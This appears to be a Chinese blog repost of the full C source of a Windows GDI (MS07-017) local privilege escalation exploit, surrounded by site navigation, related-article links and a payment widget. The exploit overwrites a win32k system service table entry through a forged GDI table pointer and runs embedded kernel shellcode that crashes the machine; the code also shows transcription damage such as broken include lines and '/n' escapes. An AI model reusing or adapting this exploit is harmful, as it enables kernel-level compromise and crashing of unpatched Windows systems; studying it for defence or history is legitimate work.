MS Windows GDI Local Privilege Escalation Exploit

【THM】Windows Privilege Escalation(Windows权限提升)-初级渗透测试 撰写本文目的仅仅提供个人查看笔记用途,大家可以去官网查看,都一样的 阅读详情
#define _WIN32_WINNT 0x0500
#i nclude <windows.h>
#i nclude <shlwapi.h>
#i nclude <stdio.h>

#pragma comment (lib, "user32.lib")
#pragma comment (lib, "gdi32.lib")
#pragma comment (lib, "shlwapi.lib")
#pragma comment (lib, "ntdll.lib")



/*
Here is a sploit for the GDI MS07-017 Local Privilege Escalation, presented during the last blackhat conferences
by Joel Ericksson. Modify the GdiTable of the current process and by calling good API's changean entry of the
win32k's SSDT by 0x2.

before :
lkd> dps bf998300 L 2
bf998300  bf934921 win32k!NtGdiAbortDoc
bf998304  bf94648d win32k!NtGdiAbortPath

after :
lkd> dps bf998300 L 2
bf998300  00000002
bf998304  bf94648d win32k!NtGdiAbortPath

win32k.sys bDeleteBrush (called by DeleteObject)
mov     esi, [edx] ;esi=pKernelInfo
cmp     [esi+4], ebx ; ebx=0, we need [esi+4]>0
mov     eax, [edx+0Ch]
mov     [ebp+var_8], eax
ja      short loc_BF80C1E7 ;jump if [esi+4] > 0

loc_BF80C1E7:
mov     eax, [esi+24h]  ; [esi+24] = addr to hijack (here win32k SSDT)
mov     dword ptr [eax], 2 ; !!!!!

At 0x2 we allocate memory with NtAllocateVirtualMemory and we copy our payload.

Tested on windows xp sp2 french last updates (before MS07-017)

Coded by Ivanlef0u.
http://ivanlef0u.free.fr

ref:
http://www.microsoft.com/technet/security/bulletin/MS07-017.mspx
http://research.eeye.com/html/alerts/zeroday/20061106.html
http://projects.info-pull.com/mokb/MOKB-06-11-2006.html
https://www.blackhat.com/presentations/bh-eu-07/Eriksson-Janmar/Whitepaper/bh-eu-07-eriksson-WP.pdf
http://www.securityfocus.com/bid/20940/info
*/

typedef struct
{
   DWORD pKernelInfo;
   WORD  ProcessID;
   WORD  _nCount;
   WORD  nUpper;
   WORD  nType;
   DWORD pUserInfo;
} GDITableEntry;

typedef enum _SECTION_INFORMATION_CLASS {
SectionBasicInformation,
SectionImageInformation
}SECTION_INFORMATION_CLASS;

typedef struct _SECTION_BASIC_INFORMATION { // Information Class 0
PVOID BaseAddress;
ULONG Attributes;
LARGE_INTEGER Size;
}SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;

extern "C" ULONG __stdcall NtQuerySection(
IN HANDLE SectionHandle,
IN SECTION_INFORMATION_CLASS SectionInformationClass,
OUT PVOID SectionInformation,
IN ULONG SectionInformationLength,
OUT PULONG ResultLength OPTIONAL
);

extern "C" ULONG __stdcall NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);

typedef LONG NTSTATUS;

#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

extern "C" NTSTATUS __stdcall  NtQuerySystemInformation(         
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

extern "C" ULONG __stdcall RtlNtStatusToDosError(
  NTSTATUS Status
);


// generic kernel payload, reboot the b0x
unsigned char Shellcode[]={
0x60, //PUSHAD
0x55, //PUSH EBP

0x6A, 0x34,
0x5B,
0x64, 0x8B, 0x1B,
0x8B, 0x6B, 0x10,

0x8B, 0x45, 0x3C,
0x8B, 0x54, 0x05, 0x78,
0x03, 0xD5,
0x8B, 0x5A, 0x20,
0x03, 0xDD,
0x8B, 0x4A, 0x18,
0x49,
0x8B, 0x34, 0x8B,
0x03, 0xF5,
0x33, 0xFF,
0x33, 0xC0,
0xFC,
0xAC,
0x84, 0xC0,
0x74, 0x07,
0xC1, 0xCF, 0x0D,
0x03, 0xF8,
0xEB, 0xF4,
0x81, 0xFF, 0x1f, 0xaa ,0xf2 ,0xb9, //0xb9f2aa1f, KEBugCheck
0x75, 0xE1,
0x8B, 0x42, 0x24,
0x03, 0xC5,
0x66, 0x8B, 0x0C, 0x48,
0x8B, 0x42, 0x1C,
0x03, 0xC5,
0x8B, 0x04 ,0x88,
0x03, 0xC5,

0x33, 0xDB,
0xB3, 0xE5,
0x53,
0xFF, 0xD0,

0x5D, //POP EBP
0x61, //POPAD
0xC3 //RET
};


ULONG GetWin32kBase()
{
ULONG i, Count, Status, BytesRet;
PSYSTEM_MODULE_INFORMATION pSMI;

Status=NtQuerySystemInformation(SystemModuleInformation, pSMI, 0, &BytesRet); //allocation length
if(Status!=STATUS_INFO_LENGTH_MISMATCH)
printf("Error with NtQuerySystemInformation : 0x%x : %d /n", Status, RtlNtStatusToDosError(Status));

pSMI=(PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BytesRet);

Status=NtQuerySystemInformation(SystemModuleInformation, pSMI, BytesRet, &BytesRet);

if(Status!=STATUS_SUCCESS)
printf("Error with NtQuerySystemInformation : 0x%x : %d /n", Status, RtlNtStatusToDosError(Status));

/*
The data returned to the SystemInformation buffer is a ULONG count of the number of
handles followed immediately by an array of
SYSTEM_MODULE_INFORMATION.
*/

Count=*(PULONG)pSMI;
pSMI=(PSYSTEM_MODULE_INFORMATION)((PUCHAR)pSMI+4);

for(i=0; i<Count; i++)
{
if(StrStr((pSMI+i)->ImageName, "win32k.sys"))
return (ULONG)(pSMI+i)->Base;
}

HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pSMI);

return 0;
}




ULONG buff[500]={0};

int main(int argc, char* argv[])
{
ULONG i, PID, Status, Old;
LPVOID lpMapAddress=NULL;
HANDLE hMapFile=(HANDLE)0x10;
GDITableEntry *gdiTable;
SECTION_BASIC_INFORMATION SBI;
WORD Upr;
ULONG Size=0x1000;
PVOID Addr=(PVOID)0x2;

printf("Windows GDI MS07-017 Local Privilege Escalation Exploit/nBy Ivanlef0u/n"
"http://ivanlef0u.free.fr/n"
"Be MAD!/n");

//allocate memory at addresse 0x2
Status=NtAllocateVirtualMemory((HANDLE)-1, &Addr, 0, &Size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
if(Status)
printf("Error with NtAllocateVirtualMemory : 0x%x/n", Status);
else
printf("Addr : 0x%x OKAY/n", Addr);

memcpy(Addr, Shellcode, sizeof(Shellcode));



printf("win32.sys base : 0x%x/n", GetWin32kBase());

ULONG Win32kSST=GetWin32kBase()+0x198300; //range between win32k imagebase and it's SSDT
printf("SSDT entry : 0x%x/n", Win32kSST); //win32k!NtGdiAbortDoc



HBRUSH hBr;
hBr=CreateSolidBrush(0);

Upr=(WORD)((DWORD)hBr>>16);
printf("0x%x/n", Upr);

while(!lpMapAddress)
{
hMapFile=(HANDLE)((ULONG)hMapFile+1);
lpMapAddress=MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);
}

if(lpMapAddress==NULL)
{
printf("Error with MapViewOfFile : %d/n", GetLastError());
return 0;
}

Status=NtQuerySection(hMapFile, SectionBasicInformation, &SBI, sizeof(SECTION_BASIC_INFORMATION), 0);
if (Status) //!=STATUS_SUCCESS (0)
{
printf("Error with NtQuerySection (SectionBasicInformation) : 0x%x/n", Status);
return 0;
}

printf("Handle value : %x/nMapped address : 0x%x/nSection size : 0x%x/n/n", hMapFile, lpMapAddress, SBI.Size.QuadPart);
gdiTable=(GDITableEntry *)lpMapAddress;
PID=GetCurrentProcessId();

for (i=0; i<SBI.Size.QuadPart; i+=sizeof(GDITableEntry))
{
if(gdiTable->ProcessID==PID && gdiTable->nUpper==Upr) //only our GdiTable and brush
{

printf("gdiTable : 0x%x/n", gdiTable);
printf("pKernelInfo : 0x%x/n", gdiTable->pKernelInfo);
printf("ProcessID : %d/n", gdiTable->ProcessID);
printf("_nCount : %d/n", gdiTable->_nCount);
printf("nUpper : 0x%x/n", gdiTable->nUpper);
printf("nType : 0x%x/n", gdiTable->nType );
printf("pUserInfo : 0x%x/n/n", gdiTable->pUserInfo);

Old=gdiTable->pKernelInfo;

gdiTable->pKernelInfo=(ULONG)buff; //crafted buff
break;
}
gdiTable++;
}

if(!DeleteObject(hBr))
printf("Error with DeleteObject : %d/n", GetLastError());
else
printf("Done/n");

printf("Buff : 0x%x/n", buff);
memset(buff, 0x90, sizeof(buff));

buff[0]=0x1; //!=0
buff[0x24/4]=Win32kSST; //syscall to modifY
buff[0x4C/4]=0x804D7000; //kernel base, just for avoiding bad mem ptr

if(!DeleteObject(hBr))
printf("Error with DeleteObject : %d/n", GetLastError());

gdiTable->pKernelInfo=Old; //restore old value

/*
lkd> uf GDI32!NtGdiAbortDoc
GDI32!NtGdiAbortDoc:
77f3073a b800100000      mov     eax,1000h
77f3073f ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
77f30744 ff12            call    dword ptr [edx]
77f30746 c20400          ret     4
*/

__asm
{
mov eax, 0x1000
mov edx,0x7ffe0300
call dword ptr [edx]
}

return 0;
}
 
从零复刻平衡小车(基于STM32F1) 平衡小车(基于STM32F1) 阅读详情

相关推荐

GD32F103程序烧录全攻略:从SWD到串口的实战指南

本文提供了GD32F103微控制器程序烧录的全面实战指南,详细介绍了SWD、JTAG和串口(ISP)三种主流下载方式。文章重点解析了在Keil MDK中使用ST-Link进行SWD下载的完整步骤,包括硬件连接、软件配置和Flash算法设置,并针对烧录过程中的常见问题提供了实用的排坑解决方案,帮助开发者高效完成程序部署。

weixin_29191669的博客 438

网络安全应急响应最全教程(2023年7月)

1、概念及应急响应流程 应急响应流程是一种在突发事件发生时组织和协调资源、快速响应并减轻损失的计划。一个有效的应急响应流程可以帮助组织提高应对风险的能力,保障人员安全和财产

qq1140037586的博客 2万+

FPGA开发者必看:如何用SATA3.0主机控制器IP实现高速存储扩展(附Xilinx实测数据)

本文为FPGA开发者提供了基于SATA3.0主机控制器IP核的高速存储方案设计与优化指南。通过详细解析IP核架构、Xilinx FPGA平台集成实战及性能优化技巧,帮助开发者实现接近理论极限的540MB/s数据传输速度。文章还包含常见问题解决方案和高级应用场景拓展,是硬件工程师提升存储性能的必备参考。

weixin_30632089的博客 115

渗透测试基础- - -windows入侵排查

本文主要讲述了在我们日常生活中遇到windows被入侵后的排查步骤,以便更好的溯源。

weixin_67503304的博客 2384

ARM一致性总线CMN600AE

是基于Mesh拓扑结构,对外支持AMBA CHI/ACE-LITE等接口,内部改用路由结构转发数据,并提供硬件一致性和系统缓存,还支持多芯片互联。CMN600在T16FFC上可以做到2Ghz,另外AE版本增加了车规芯片的安全功能,总线内部采用EDC检查,接口采用的奇校验。CMN-600AE具有以下特点:该网络符合功能安全标准,例如ISO 26262(汽车电子领域的功能安全标准)或IEC 61508(工业自动化领域的功能安全标准)等。

weixin_50518899的博客 3504

MPC-CBF 控制原理详解

假设系统满足如下离散时间动力学模型xt1fxtutxt∈Xut∈Uxt1​fxt​ut​xt​∈Xut​∈Uxtx_txt​:状态变量,定义域为可行状态集X⊆RnX⊆Rnutu_tut​:控制输入,定义域为控制约束集U⊆RmU⊆Rm系统需满足安全约束,由如下控制障碍函数(CBF)hX→RhX→RCx∈X∣hx≥0C:=x∈X∣hx≥。

m0_54691290的博客 1184

Microsoft Windows CSRSS Local Privilege Escalation Exploit (MS05-018)

文章整理:天天安全网   作者:佚名   发布时间:2005-09-09漏洞资料:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0551危险程度:中等影响范围:Microsoft Windows 2000/XP/2003解决办法:http://www.microsoft.com/technet/security/bulletin/ms

孤剑之家 2403

相位相关匹配法的opencv C++实现

这一段就是PCIAM算法的核心了,计算两幅图像的峰值相关矩阵,也是完全按照matlab移植过来的,但是后面几行,是为了筛选一些不可能存在的情况,比如边缘处的完全重合,或者只有一行,或者一列重合等等情况,由于PCIAM算法在边缘处的响应值高,所以在一些场景下可能是一种干扰,所以进行了剔除,当然可以不剔除,就是对后期的峰值选取会有影响。头文件,以及各类函数,还有主函数,第一次独立的写这种分文件类型的项目,写的拉跨还请包涵,以及当然可以转成类的形式,但感觉有点小麻烦,后期再修改吧。

qq_43616651的博客 4267

Windows系统提权姿势

攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权到高权限的管理员用户,从而获得对整个系统得控制权。

懂进攻知防守 5444

一次点击跑通:用 Postman 自动获取并携带 CSRF token,测试 SAP OData 写操作

SAP OData 写操作自动化测试方案 针对 SAP Gateway OData 服务写操作中常见的 CSRF token 验证问题,本文提出了一套基于 Postman 的自动化解决方案: 问题分析:解释了 CSRF token 的验证机制及其必要性,说明手工测试效率低下的原因 解决方案: 使用 Postman 环境变量存储 token 通过脚本自动获取并传递 token 利用 Collection Runner 实现一键执行 实施步骤: 创建环境变量存储 token 第一个请求获取 token 并存入变

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 310

Unity-Mirror网络框架-从入门到精通之Mirror简介

在现代游戏开发中,网络功能日益成为提升游戏体验的关键组成部分。Mirror是一个用于Unity的开源网络框架,专为多人游戏开发设计。它使得开发者能够轻松实现网络连接、数据同步和游戏状态管理。本文将深入介绍Mirror的基本概念、如何与其他网络框架进行比较,以及如何从零开始创建一个使用Mirror的简单网络项目。Mirror是一个功能强大的Lite网络框架,旨在替代Unity的UNet网络解决方案。它提供了高效的多玩家架构、简单易用的API,以及良好的社区支持。

TxNet 3098

MS Windows GDI Local Privilege Escalation Exploit (MS07-017) 2

MS Windows GDI Local Privilege Escalation Exploit (MS07-017) 2 /* GDI Local Elevation of Privilege Vulnerability Exploit (MS07-017) Coded by Lionel d'Hauenens http://www.labo-asso.com De...

weixin_34319640的博客 192

1.5 RAG技术栈全景图:LangChain vs LlamaIndex深度对比,选错框架后悔3年,一文帮你选对

摘要:LangChain与LlamaIndex框架深度对比 本文全面对比了RAG领域两大主流框架LangChain和LlamaIndex。LangChain是通用AI应用框架,具有模块化设计和丰富生态;LlamaIndex专为RAG优化,提供开箱即用解决方案。功能对比显示,LangChain在文档加载和Agent支持方面更强,而LlamaIndex在检索策略、向量存储和多模态处理上表现更优。代码示例展示了二者实现RAG的不同方式:LangChain需要更多配置但灵活性高,LlamaIndex则提供更简洁的A

yonggeit的博客 3241

HTB academy --Windows Privilege Escalation --Windows Group Privileges

难度还行,不是很难,有些小东西我没带列举出来,因为时间比较晚了就着急码字了,但是希望大家可以多试试对自己还是有好处的,就这样吧明天见。

g9999g的博客 1449

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

ChatGLM3模型蒸馏终极指南:10个实用技巧提升学生模型性能保持率

ChatGLM3是由智谱AI和清华大学KEG实验室联合发布的开源双语对话语言模型,作为ChatGLM系列的最新版本,它在语义理解、数学推理、代码生成和知识问答等多个维度都展现出了卓越的性能。在实际部署中,大型语言模型往往面临计算资源和存储空间的限制,这时候模型蒸馏技术就显得尤为重要。本文将为您详细介绍如何通过10个实用技巧,在ChatGLM3模型蒸馏实验中有效提升学生模型的性能保持率。 ## ?

gitblog_00033的博客 417

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

windows最新在野提权0day漏洞细节披露,已被APT组织用于实际攻击

本windows提权漏洞编号为CVE-2019-0797通告当Win32k组件无法正确处理内存中的对象时,Windows中存在一个特权提升漏洞。成功利用此漏洞的攻击者可以在内核模式下运行任意代码。然后攻击者可以安装程序; 查看,更改或删除数据; 或创建具有完全用户权限的新帐户。要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行可以利用此漏洞并控制受影响系统的特制应用程序。影响版本:Wind...

cpongo011702 1063

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

终极Windows权限提升指南:15种本地提权漏洞深度解析

Windows本地权限提升是网络安全攻防的核心技能之一。Windows Local Privilege Escalation Cookbook项目为安全研究人员、渗透测试人员和系统管理员提供了全面的Windows本地提权漏洞分析、实验环境和防御方案。本指南将带你深入了解15种常见的Windows权限提升技术,从基础概念到实战应用,帮助你构建完整的安全防护体系。 ## 📋 什么是Windows本

gitblog_00002的博客 618

Windows-Exploit-Suggester(Windows下提权辅助工具)

0X00 简介 Windows-Exploit-Suggester是受Linux_Exploit_Suggester的启发而开发的一款提权辅助工具,其官方下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester,它是用python开发而成,运行环境是python3.3及以上版本,且必须安装xlrd 库(https://pypi.p...

a1b2c3是弱口令 7112

Microsoft Windows "keybd_event" Local Privilege Escalation Exploit

文章整理:天天安全网   作者:佚名   发布时间:2005-09-09漏洞资料:http://www.haxorcitos.com/MSRC-6005bgs-EN.txt危险程度:中等影响范围:Microsoft Windows 2000/XP/2003解决办法:暂时没有解决方案-----------------------------------------------------------

孤剑之家 2240

PEB结构

PEB进程环境快,下面是其一些结构 //===============================================================================================// typedef struct _UNICODE_STR { USHORT Length; USHORT MaximumLength; PWSTR pB

ShadowAssassin的专栏 6386

Windows系统提权(一)

提升权限

weixin_51151498的博客 902

[POC分享]Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)

Linux本地提权漏洞POC分享,Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)

「鸿渐之翼」的博客 819

截获ExtTextOutW , ETO_GLYPH_INDEX 问题.

一般而言,普通的第三方程序不会蛋疼的去直接使用 ETO_GLYPH_INDEX . 如果我们截获到这种情况, 很有可能是更高级的api调用所致. 比如 DrawTextA/W TextOutA/W 等. 具体情况,调试下断点, 看callstack就能一目了然. 很多时候都是 DrawTextA/W -->usp10.dll --> ExtTextOutW

norsd的专栏 3762
上一篇: Foundstone终极黑客培训实记
下一篇: 关于ani 0day的简单分析
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值